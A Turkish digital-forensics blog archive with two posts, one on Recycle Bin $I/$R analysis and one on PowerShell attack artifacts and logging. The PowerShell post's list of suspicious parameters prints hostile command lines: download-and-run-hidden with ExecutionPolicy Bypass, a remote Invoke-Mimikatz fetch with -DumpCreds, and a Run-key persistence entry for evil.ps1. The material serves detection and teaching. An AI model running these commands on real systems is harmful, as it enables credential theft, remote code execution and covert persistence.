Temmuz 2022

28 Temmuz 2022 Perşembe

Recycle Bin Forensics ($RecyleBin Analizi)


 




Recycle Bin Forensics ($RecyleBin Analizi)

Çoğumuzun bildiği gibi geri dönüş kutusu (Recycle Bin) masaüstünde bulunan geri dönüş ikonu üzerinde barındıran mahsun bir dosya :) Windows bir sistem kurulduğunda hatta bizi masa üstümüzde karşılayan ilk dosyamız. Recycle Bin dosyası Microsoft tarafından Windows sistemlerde silinen dosya ve dizinlerin geçici olarak depolandığı dosyadır. Windows sistemlerle beraber gelir silmeye çalıştığımız zaman bile kendiliğinden tekrar oluşmaktadır.  Recycle Bin dizini C:\$Recycle.Bin\ dizininde bulunur. Microsoft, Windows Vista sürümünden sonra $Recycle.Bin ismiyle her bir sürücü altında yer alan bu dizin içinde silinen dosyanın geri kurtarılmasına amaçlayan bir Windows mekanizmasıdır. Recycle Bin kullanıcıların Windows’ta silinen dosyaları kurtarmasına olanak tanır.



Forensic bakış açısı ile mahsum dediğimiz dosyaya baktığımız bizler içinde o kadar bilgi tutuğundan çokta mahsun diyemeyiz :) Windows forensics analizinde bir diğer artifacklerin içerisinde barındıran local disk içerisinde barındırıla $Recycle Bin dizinidir.  Recycle bin artifackleri “C:\$Recycle.Bin” Konumlarında bulunur.



 

Windows’ta $Recycle.Bin dizininde silinen dosyalar $Ixxxxx ve $Rxxxxx şeklinde iki dosya oluşturmaktadır. Windows geri kutusu dönüşüm (recycle bin) Adli analiz gerçekleştirilirken içerisinde barındırdığı bilgilerden dolayı yararlı kaynak sunar. Silinen dosyalar “$I” dosyalarına ve “$R” dosyalarına sahip olur.

 



$Rxxxxx şeklinde olan dosyalar, dosyası silinmiş dosyanın yeniden adlandırılmış bir kopyasıdır. Gerçek dosyanın içeriğini içerir.

$Ixxxxx şeklinde olan dosyalar, $R dosyası için silinmiş orijinal adı, yolu, tarihi ve zaman damgası içerir.

 

 

$Recycle Bin Analizi

Silinen dosya hakkında elde edilen bilgiler sayesinde delil karatma ve yönteminin kullanılması durumunda arta kalan delillerin bulunması noktasında bizlerin işini kolaylaştırmaktadır. $Reycel.bin dizininde iki farklı türde dosya elde etmeden önce;

$I Dosyası (Windows Vista ve Sonrası)

C:\$Recycle.Bin\SID\$Ixxxxxx şeklinde tutulur, içerisinde;

·         Dosya adı ve silinen dosyanın tam yolu

·         Silinen dosyanın boyutu

·         Dosyanın silindiği tarih/saat.

Bilgileri tutar

$R Dosyası (Windows Vista ve Sonrası)

C:\$Recycle.Bin\SID\$Rxxxxxx şeklinde tutulur.

$R Dosyası, silinen dosyanın içeriğini içerir.

 

SID alt klasörü, dosyayı silen kullanıcının SID'sine karşılık gelir. Alt klasör, belirli bir kullanıcı için Geri Dönüşüm kutusuna gönderilen bir dosyanın ilk silinmesiyle oluşturulur. $I meta-veridir, $R, orijinal dosyanın içeriğini temsil eden gerçek kurtarma verileridir.

 

$recycle.Bin dizini altında yer alan dosyaları parse edip anlamlı veriler tespit etmek için Rifiuti2, Recbin.exe, $I Parse gibi toolların yardımına ihtiyacımız bulunmaktadır. Benim favori araçlarımdan olan $I parse aracından bu blog yazımda bahsedeceğim.

 



Directory of $I Files -> bu kısma elde etmiş olduğumuz recycle.bin dosyalarını gösteriyoru.

Output File -> bu kısma ise elde etmiş olduğumuz dosyaları parse edip anlamlı verinin çıktısının yolunu gösteriyoruz.

Daha sonra belirlemiş olduğumuz dizine bir çıktı sunmaktadır.

Oluşan çıktı;



 

Şeklinde görüntüleyebiliriz.

Bu gerçekleşen analizler geri dönüşüm kutusunda yani Recycle Bin dizininde bulunan silinmiş dosyalar için kullanılabilir. Geri dönüşüm kutusundan veya tamamen silinen dosyaları analiz etmek için farklı yöntem kullanılması gerekmektedir. 

 

 

 

 

 

 

 

 

 

Kaynak:

https://df-stream.com/recycle-bin-i-parser/

http://halilozturkci.com/adli-bilisim-windows-recycle-bin-forensics/

 

18 Temmuz 2022 Pazartesi

PowerShell Forensics


 




PowerShell

Microsoft tarafından 2006 yılında oluşturulmuş, komut dosyası dili özelliklerine sahip etkileşimli nesne yönelimli komut satırı ara yüzüdür. Bilgi teknolojileri uzmanları tarafından, Windows işletim sistemine sahip sistemlerin denetlenmesini ve otomatik işlemlerin gerçekleştirmesinde PowerShell scriptleri kullanılmaktadır. PowerShell Microsoft .NET üzerine inşa edilmiş bir scrpiting platformudur bundan dolayı nesne yönelimlidir. Ayrıca .NET framework’ün sağladığı aynı işlevselliğe ve yazılım geliştiricilerin kullandığı diğer kod kitaplıklarına erişim sağlamak mümkündür. Powershell hem etkileşimli bir dil hem de bir komut dosyası aracı olarak işlev görür. Burada cmd den farkından da bahsedebiliriz cmd (commandLine) sadece komut dosyası aracı olarak kullanılmakta PowerShell ise hem komut hem de etkileşimli bir dil (scrpiting) olarak kullanılabilmektedir. PowerShell, Windows, MacOS ve Linux tarafından desteklenmektedir.



 

Powershell dosyaları C:\Windows\System32\WindowsPowerShell\v1.0 dizininde bulunur.



 

PowerShell kullanılarak;

·        Bir den fazla komut birleştirilerek çalıştırılabilir.

·        Uzaktan bağlantı yeteneği sayesinde uzmanlar tarafından komutları sunucuya doğrudan çalıştırma yeteneği sağlar.

·        PowerShell, bilgisayardaki dosya sistemlerine erişmenize aracılık eder.

·        PowerShell sağlayıcıları, kayıt defteri ve sertifika depoları gibi diğer veri depolarına, dosya sistemine erişirken kolaylık sağlar.

·        PowerShell, COM ve WMI’a tam erişim sağlayarak yöneticilerin hem yerel hem de uzak Windows sistemlerinde yönetim görevlerini yerine getirmesine olanak tanır.

·        PowerShell çalışma zamanının diğer uygulamaların içine yerleştirilebileceği bir barındırma API'si de sağlar. Bu uygulamalar daha sonra PowerShell işlevini grafiksel arabirim aracılığıyla belirli işlemleri uygulamak için kullanılabilir.

·        PowerShell ile çalıştırılan komutlar klasik antivürsler ile tespit edilemez.

·        PowerShell scrpitleri karmaşıklaştırılması oldukça kolaydır.

Tabi böyle gelişmiş özelliklere sahip ve tüm Windows sistemlerde default olarak gelen güçlü bir komut ortamı ve komut dosyası dili sızma test frameworklerinde ve siber saldırganlar tarafından giderek artan bir kullanım oranı vardır. Saldırganlar PowerShell’i genellikle; dowloader, ransomware, backdoor, persistence, keşif sağlama gibi komutları çalıştırabilirler. Empire, PowerSploit, Poshc2, PSAttack, PowerShellMafia gibi PowerShell tabanlı saldırılar araçları da mevcuttur.

PowerShell kullanılarak saldırı tekniklerine örnekler;

1.      Detect Empire with PowerShell Script Block Logging [MITRE T1059.001]

2.      Detect Mimikatz With PowerShell Script Block Logging [MITRE T1059.001]

3.      Powershell Fileless Process Injection via GetProcAddress [MITRE T1059.001, T1055]

4.      Powershell Fileless Script Contains Base64 Encoded Content [MITRE T1059.001, T1027]

5.      Unloading AMSI via Reflection [MITRE T1562]

6.      PowerShell Domain Enumeration [MITRE T1059.001]

7.      PowerShell Loading .NET into Memory via System Reflection Assembly [MITRE T1059.001]

8.      Powershell Creating Thread Mutex [MITRE        T1027.005]

9.      Powershell Processing Stream Of Data [MITRE T1059.001]

10. Powershell Using memory As Backing Store [MITRE T1140]

11. Recon AVProduct Through Pwh or WMI [MITRE T1592]

12. Recon Using WMI Class [MITRE T1592]

13. WMI Recon Running Process or Services [MITRE T1592]

14. Allow Inbound Traffic In Firewall Rule [MITRE T1021.001]

15. Mailsniper Invoke functions [MITRE T1114.001]

16. Delete ShadowCopy With PowerShell [MITRE T1490]

17. PowerShell Enable SMB1Protocol Feature [MITRE T1027.005]

18. Detect WMI Event Subscription Persistence [MITRE T1546.003]

 

Saldırganların PowerShell kullanma nedenlerine bakacak olursak;

1.      Tüm Windows sistemlerde varsayılan olarak yüklenir.

2.      Komutları ve scrpitleri memory üzerinden çalıştırabilir, bu da onu gizli hale getirir.

3.      Varsayılan olarak birkaç iz oluşturur, bu da adli analiz altında bulmayı zorlaştırır.

4.      Varsayılan olarak şifreli trafik ile uzaktan erişim özelliklerine sahiptir.

5.      Bir komut dosyası olarak, geleneksel güvenlik araçlarıyla şaşırtmak kolaydır ve tespit etmek zordur.

6.      Savunmacılar, sistemlerini sıkılaştırırken genellikle powershell’i gözden kaçırırlar.

7.      Yapılandırmaya bağlı olarak uygulama beyaz listeye (whitelisting) alma araçlarını atlayabilir.

8.      Birçok ağ geçidi sanal alanı, komut dosyası tabanlı kötü amaçlı yazılımları iyi işlemez.

9.      Hazır komut dosyalarıyla büyüyen bir topluluğa sahiptir.

10. Birçok sistem yöneticisi, çerçeveyi kullanır ve ona güvenerek, PowerShell kötü amaçlı yazılımının düzenli yönetim çalışmalarıyla uyum sağlamasına olanak tanır.

Gibi nedenlerden ötürü saldırganlar ve red team ekiplerince sıkça kullanılmaktadır.

 

PowerShell Analizi Ve Loglama Türleri Geçmiş Komut Analizi:

Forensics bakış açısı ile bir saldırgan powershell kullanarak sisteme sızdığında belirli yerlerde iz bırakmaktadır. Saldırganın sisteme ne zaman sızdığı, nasıl sızdığı, hangi komutları çalıştırdığı gibi bilgileri elde edebiliriz. Mitre T1059.001 tarafından açıklandığı gibi, PowerShell sabit disk üzerinde herhangi bir iz bırakmadan doğrudan hafıza (memory) üzerinde çalıştırabilirler. Bu saldırı tehdit çeşidine “file-less threat” yani “dosyasız tehdit” denilmektedir. (https://docs.microsoft.com/en-us/microsoft-365/security/intelligence/filel ess-threats? view=o365-worldwide) Bu tehditlerin tespit edilip analiz edilmesi için çeşitli artifackler bulunur yani sistemde kötü amaçlı PowerShell kullanımına ilişkin kanıt sağlayabilecek kanıt kaynakları bulunur. Bu kaynaklar, Registry, preftech files, memory, event logs ve network trafiği olabilir.

 

Registry

Yapılan testler ve powershell temelli saldırılarda, scrpitlerin çalışmasını kaydeden herhangi bir registry değeri tanımlanmamıştır. Anacak saldırgan, etkinliklerini kolaylaştırmak için registry’de bulunan PowerShell yapılandırma ayarlarını değiştirebilir. Örneğin bir kullanıcının bir sistem yüklenmesine ve çalışmasına izin verilen profillerin ve komut dosyaların kontrol eden PowerShell çalışma ilkesi registry’de bulunur ve saldırgan tarafından değiştirilebilir.

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell\

 

Prefetch File

Adli analiz sırasında, Preftech dosyaları önceden bir sistemde çalışan dosyaların çalıştığına bir kanıt kaynağı olarak genellikle kullanılır.  PowerShell tabanlı saldırılar gözlemlenerek preftech dosyalarında powershell komut dosyalarına referanslar içerebilecek kalıntılar olabileceği tespit edildi. Preftech dosyasına erişilen dosya listesinde bulunabilmesi için powershell.exe çalışmasının ilk on saniyesinde belirli bir komut dosyasının yüklenmesi gerekir.

Örnek olarak “powershell.exe -File “C:\temp\ persistence.ps1”” , sytanx bu şekilde olan bir komut çalıştırıldı. Preftech dosyalarına bakıldığı zaman bir artışın olduğu gözlemlendi. Preftech dosyasına bakıldığında önceden yüklenmiş bir komut dosyası için erişilen dosya bilgilerini yine de tutabilir. Yani Preftech dosyaları sayesinde, şüpheli saldırgan etkinliği ilişkili olup olmadıklarını belirlemek için powershell preftech dosyalarının oluşma zaman damgaları ve son çalışma zaman damgalarını incelenmelidir. Erişilen dosya listesini parse edip ve ardından dize araması yapılması ve başvurulan tüm .PS1 dosyalarının adlarını ve yolları analiz edilebilir.

 

Event Logs

Herhangi bir PowerShell komutu veya scripti çalıştığından event loglar üzerinde belirli kayıtlar oluşturmaktadır.

 

1-     Windows PowerShell.evtx



Event ID 400: Engine status durumunu Noe to Avalibale olarak değiştirir. Bu event local veya remote bir PowerShell aktivitesinin başladığını gösterir. PowerShell tek bir komutun çalışması yerele bir oturumun başlatılması veya uzaktan iletişim oturumunun başlaması üzerine her çalıştığında “Event ID 400” event mesajını kaydeder. “Engine state is changed from None to Available.” yazar. Oturumun sonunda, Event ID 400 olayını kaydeder: “Engine state is changed from Available to Stopped”  şeklinde değiştirilir. Hiçbir ileti, PowerShell etkinliğiyle ilişkili kullanıcı hesabını kaydetmez. Ancak, bu olayları kullanarak bir analist, PowerShell oturumlarının süresini ve sıklığını belirleyebilir.

Event ID 403: Engine durumu kullanılabilirden duruldu olarak değiştirildiğinde oluşur. Bu olay bir powershell etkinliğinin tamamlandığını kaydeder.

Event ID 600: WSMan gibi sağlayıcıların sistemde bir powershell etkinliği gerçekleştirmeye başladığını belirtir, örneğin “Provider WSM Is Started”. PowerShell'in yürütme politikasını atladığını görüyoruz. Bu aktivite genellikle saldırganlar tarafından, varsayılan olarak politika "Kısıtlı" olarak ayarlanan bu tür komut dosyalarını çalıştırmalarına izin vermek için yapılır. Bu nedenle, PowerShell scriplerin yürütülmesini engeller.

 



 

2-     Microsoft-Windows-PowerShell%4Operational.evtx



PowerShell aracılığıyla yürütülenler de dahil olmak üzere Windows Uzaktan Yönetim hizmetinin tüm kullanımını kaydeder. (PowerShell 2.0 versiyonu için geçerli değildir)

EventID 169: Uzaktan iletişim etkinliğinin başlangıcında kaydedildi. WinRM'ye erişmek için kullanılan bilgisayar veya etki alanı adını, kullanıcı adını ve kimlik doğrulama mekanizmasını içerir.

EventID 81, 82, 134: PowerShell uzaktan kumandası sırasında meydana gelen " under-the-hood " işlemler tarafından oluşturulur. Komut satırında gönderilen belirli komutları kaydetmek yerine, bu girişler oldukça belirsiz ve düşük seviyelidir. Bu olay günlüğü mesajlarındaki "Kullanıcı adı" alanı, uzaktan iletişim etkinliğini yürüten hesabın etki alanını ve kullanıcı adını kaydeder. Bunun yanı sıra, bu olaylar esas olarak uzaktan iletişimin gerçekleştiği zaman çerçevesini tanımlamak için kullanışlıdır.

Scrpit Block Logging

Komut bloklarını PowerShell tarafından çalıştırıldığında kaydeder, böylece komut dosyaları ve komutlar dahil olmak üzere bir saldırgan tarafından yürütülen kodun tüm içeriğini yakalar. -EncodedCommand, XOR, Base64 ROT13 gibi şifreleme algoritmalarını kullansa bile log kaydını oluşturur. PowerShell 5.0 dan sonra loglama oluşmuştur.  Scrpit Block Logging “Event ID 4104” PowerShell scrpits ve bloklar bu event tarafından kaydedilir. 

Script block logging, üzerinde yapılan test sonucunda, Invoke-Mimikatz scripti çalıştığında 5 MB'lik 116 event oluştuğu tespit edilmiştir. Komut dosyası bloklarının başlangıcını ve bitişini EID 4105 ve 4106'da komut dosyası blok kimliğine göre kaydeder.

 



Module Logging

Değişken başlatma ve komut çağırıları dahil olmak üzere PowerShell çalıştırırken ayrıntıları kaydeder. Module Logging de-obfuscated code, komut dosyaların bölümlerini, gizlenmiş kodları ve çıtı için biçimlendirilmiş bazı verileri kaydeder. Bu log kayıtları tüm attackları yakalayamıyor olsa bile diğer loglar tarafından kaydedilmeyen bilgileri yakalayacaktır. Module logging PowerShel 3.0 dan beri vardır. Module Logging “Event ID 4103” Bu event, scrpitlerin komutlar bölümü gibi powershell'in işlem çalıştırma ayrıntılarını kaydeder.

Module logging, Invoke-Mimikatz scrpitinin çalışması sırasında yaklaşık olarak 7MB boyutunda log ve 22285 adet event oluştuğu test sonucunda tespit edilmiştir. bu yakalanan eventlar diğer log kaynaklarında yakalanmayan değerli çıktıları kaydeder.

 



Transcription

Tam olarak oturumda göründüğü gibi, tüm giriş ve çıkışlar dahil olmak üzere her PowerShell oturumunun benzersiz bir kaydını oluşturur. Transkriptler metin dosyalarına yazılır, kullanıcı ve oturuma göre ayrılır. Transkriptler ayrıca analize yardımcı olmak için her komut için zaman damgaları ve meta veriler içerir. Ancak, transkripsiyon yalnızca PowerShell terminalinde görünenleri kaydeder; bu, yürütülen komut dosyalarının içeriğini veya dosya sistemi gibi diğer hedeflere yazılan çıktıları içermez.

“PowerShell_transcript” ile başlayan otomatik olarak adlandırılır. Varsayılan olarak, dökümler kullanıcının belgeler klasörüne yazılır, ancak yerel sistem veya ağ üzerindeki herhangi bir erişilebilir konuma yapılandırılabilir. En iyi uygulama, kopyaları, savunucuların verileri kolayca gözden geçirebileceği ve saldırganların bunları kolayca silemeyeceği uzak, salt okunur bir ağ paylaşımına yazmaktır



 

Microsoft-Windows-WinRM%4Operational.evtx

Windows Uzaktan Yönetim (WinRM) logu, PowerShell uzaktan iletişim bağlantıları dahil olmak üzere gelen ve giden WinRM bağlantılarını kaydeder. Günlük, kimliği doğrulamak için kullanılan kullanıcı adıyla birlikte kaynağı (gelen bağlantılar) veya hedefi (giden bağlantılar) yakalar. Bu bağlantı verileri, PowerShell uzaktan iletişim kullanılarak yanal hareketin izlenmesinde değerli olabilir. İdeal olarak, WinRM günlüğü, en az bir yıllık verileri depolamak için yeterli bir boyuta ayarlanmalıdır.

 

 Get-History

Komutlar bir powershell konsolunda gerçekleştirilirse bir oturum geçmişi, yani geçerli oturum sırasında girilen komutların listesini kaydeder. Get-History komutunu kullanarak oturama özel bir geçmiş tanımlanabilir oturum kapatılırsa liste kaybolur.

  


ConsoleHost_history.txt

PowerShell v5’ten başlayarak default olarak sistemlerde kurulur. Konsola yazılan tüm komutların ConsoleHost_history.txt    kaydedilir. ConsoleHost_history.txt    bulunduğu konum;

C:\Users\MA\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ ConsoleHost_history.txt   



Yukarıdaki belirtilen artifackler analiz edilerek PowerShell kullanılarak güvenliğinin ihlal edildiğini doğrulayabiliriz

 

Log’lar analiz edilirken dikkat edilmesi gereken PowerShell parametreleri;

·        IEX/ -Invoke-Expression: String şeklinde komutları çalıştırmayı sağlar.

·        Stat-Process: Bir veya birden fazla process çalıştırmayı sağlar.

·        (New-Object System.Net.Webclient).DownloadString()

·        (New-Object System.Net.Webclient).DownloadFile() : İki farklı komut fakat zararlı yazılımlarda aynı işlevde kullanılmaktadır. Uzak bir sistem üzerinden dosya indirmeyi sağlar.

·        -F/-ile: Komutları dosyadan almayı sağlar.

·        -W Hidden/-WindowsStyle Hidden: Çalıştırılan komut ya da betik için powershell komut satırını gizler.

·        -Enc/-EncodedCommand: base64 ile encode edilmiş komutları çalıştırmayı sağlar.

·        Invoke-Command: yerel olarak veya uzak bir bilgisayarda bir komutu çalıştıran cmdlet'i içerir

·        -NoP/-NoProfile (ignore the commands in the profile file)

·        Exec bypass/-ExecutionPolicy Bypass (ignore the execution policy restriction)

·        -NonI/-NonInteractive (do not run an interactive shell)

·         -C/-Command (run a single command)

·        Start-Process

·        DownloadFile($URL,$LocalFileLocation);Start-Process

·        $LocalFileLocation

·        DownloadFile(‘http://[REMOVED]/file.php’,’%TEMP%\Y. ps1’); poWerShEll.exe -WindowStyle hiddeN -ExecutionPolicy Bypass -noprofile -file %TEMP%\Y. ps1”

·        Invoke-Command, such as: InvokeCommand <IPadress> {GetChildItem c:\ : Tek uzaktan cmdlet yürütme aracılığıyla

·        Invoke-Command, such as: InvokeCommand <IPadress> 150 {c:\ malware.exe} : Tek uzaktan binary çalıştırma

·        Invoke-Mimikatz.ps1, such as: InvokeCommand <IPadress> {iex((New-Object Net.WebClient). DownloadString(‘https://raw. githubusercontent.com/ mattifestation/PowerSploit/ master/Exfiltration/InvokeMimikatz.ps1’)); Invoke-Mimikatz -DumpCreds}

·        Enter-PSSession <IPadress>  Sözdizimi ile başlatılan uzaktan etkileşimli PowerShell komut oturumu:

·        Category:


Kötü amaçlı PowerShell scriptleri yukardaki gibidir, komut satırında yukarıda belirtilenlerden herhangi biri ile karşılaşıldığında analiz edilmesinde derinleşilmelidir.

 

Persistent PowerShell

Saldırganlar bir Windows sistemin, sistem başlatıldığında veya kullanıcının oturum açtıktan sonra Powershell’i otomatik olarak çalıştıracak ve böylece ilk bulaşma noktasının ötesinde devam edecek şekilde kendini yapılandırabilir. Kalıcılık, backdoor veya keylogger gibi belirli amaç için yeniden başlatılması sürdürmeyi amaçlar.

Kalıcılık sağlamak için Windows mekanizmalarını kullanabilir. Registry auto-start extensibility points (AESPs), scheduled tasks, user startup folders örnek verilebilir.

Registry kullanılarak saldırgan c:\windows\system32\evil.ps1 dosyasına kalıcılık sağlamak isterse;

Key: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

Value: RunTotallyLegitPowerShell

Data: powershell.exe -NonInteractive -WindowStyle Hidden -ExecutionPolicy bypass -File "C:\windows\system32\evil.ps1"

Zamanlanmış görevler veya Başlangıç ​​klasörü gibi kayıt defterine bağlı olmayan diğer kalıcılık tekniklerinin de benzer yönleri vardır: Yinelenen zamanlanmış görevler, %systemroot%\tasks içindeki .job dosyalarının analizi ve Task Scheduler Operational Event Log kanıtlar aracılığıyla tanımlanabilir.

Application Event Logs (Application.evtx), Saldırganlar genellikle backdoor dediğimiz arka kapılar sayesinde kalıcılık mekanizması olarak Windows Services olarak kaydetmeye çalışırlar böylelikle sistem yeniden başlatıldığında sisteme tekrardan sızma girişiminde bulunmadan oturum açarlar. Application.evtx dosyasında 7045 Event ID New Service was installed olarak geçer. Sisteme bir servis kurulduğunda 7045 event ıd’si oluşur.

 

Log Yapılandırması

Module Logging Enable etmek için;

1-     Run veya cmd (komut istemcisi) açarak gpedit.msc yazarak Local Group Policy Settings grafik kullanıcı arabirimi açılır.

2-     Windows PowerShell CPO ayarlarına gidilir

Computer Configuration > Administrative Templates > Windows Components > Windows PowerShell Sekmesine gidilir Turn on Module Logigng çift tıklanılır ve enable edilir.

3-     Options bölümünden Modül adını göstermek için tıklanır.

4-     Modül adaları penceresin de tüm modülleri kaydetmek için * karakteri girilir.

5-     Sonra tüm isterler ok butonuna basılarak kaydedilir.

  






Alternatif olarak, registry üzerindende aşağıda belirtilen keyler üzerinde değişiklik yapılabilir;

HKLM\SOFTWARE\Wow6432Node\Policies\Microsoft\Windows\PowerShell\ModuleLogging → EnableModuleLogging = 1

HKLM\SOFTWARE\Wow6432Node\Policies\Microsoft\Windows\PowerShell\ModuleLogging \ModuleNames → * =*


 





Scrpit Block Logging Enable etmek için;

1-     Run veya cmd (komut istemcisi) açarak gpedit.msc yazarak Local Group Policy Settings grafik kullanıcı arabirimi açın.

2-     Windows PowerShell CPO ayarlarına gidilir

Computer Configuration > Administrative Templates > Windows Components > Windows PowerShell Sekmesine gidilir Turn on PowerShell Script Block Logging çift tıklanılır ve enable edilir.

 



Alternatif olarak, registry üzerindende aşağıda belirtilen keyler üzerinde değişiklik yapılabilir;

HKLM\SOFTWARE\Wow6432Node\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging → EnableScriptBlockLogging = 1

 



 

Transcription Logging Enable etmek için;

1-     Run veya cmd (komut istemcisi) açarak gpedit.msc yazarak Local Group Policy Settings grafik kullanıcı arabirimini açın.

2-     Windows PowerShell CPO ayarlarına gidilir

Computer Configuration > Administrative Templates > Windows Components > Windows PowerShell Sekmesine gidilir Turn on Module Logigng çift tıklanılır ve enable edilir




 


Yapılan yapılandırma ayarları Registry key altında saklanır

HKLM\SOFTWARE\Wow6432Node\Policies\Microsoft\Windows\PowerShell\Transcription → EnableTranscripting = 1

HKLM\SOFTWARE\Wow6432Node\Policies\Microsoft\Windows\PowerShell\Transcription → EnableInvocationHeader = 1

HKLM\SOFTWARE\Wow6432Node\Policies\Microsoft\Windows\PowerShell\Transcription → OutputDirectory = “” (Enter path. Empty = default)

 

 


 

 


ÖNERİ

Log kaynaklarının tümünün etkinleştirilmesini önerir: modül logu, komut dosyası block logu ve transkripsiyon. Bu kaynakların her biri, PowerShell etkinliğini analiz etmek için değerli olan benzersiz verileri kaydeder

İdeal olarak, verilerin makul bir süre boyunca korunmasını sağlamak için Microsoft-Windows-PowerShell%4Operational.evtx PowerShell olay günlüğünün boyutu 1 GB'a (veya kuruluşunuzun izin verdiği kadar büyük) yükseltilmelidir. PowerShell günlüğü, günlüğü hızla döndüren büyük hacimli veriler üretir (tipik yönetici veya saldırgan etkinliği sırasında dakikada 1 MB'a kadar gözlemlenmiştir).


 

 


KAYNAK

https://docs.microsoft.com/tr-tr/powershell/scripting/overview?view=powershell-7.2

https://github.com/PowerShell/PowerShell

https://tr.wikipedia.org/wiki/Windows_PowerShell

https://github.com/PowerShell/PowerShell/blob/master/docs/learning-powershell/powershell-beginners-guide.md

https://attack.mitre.org/techniques/T1059/001/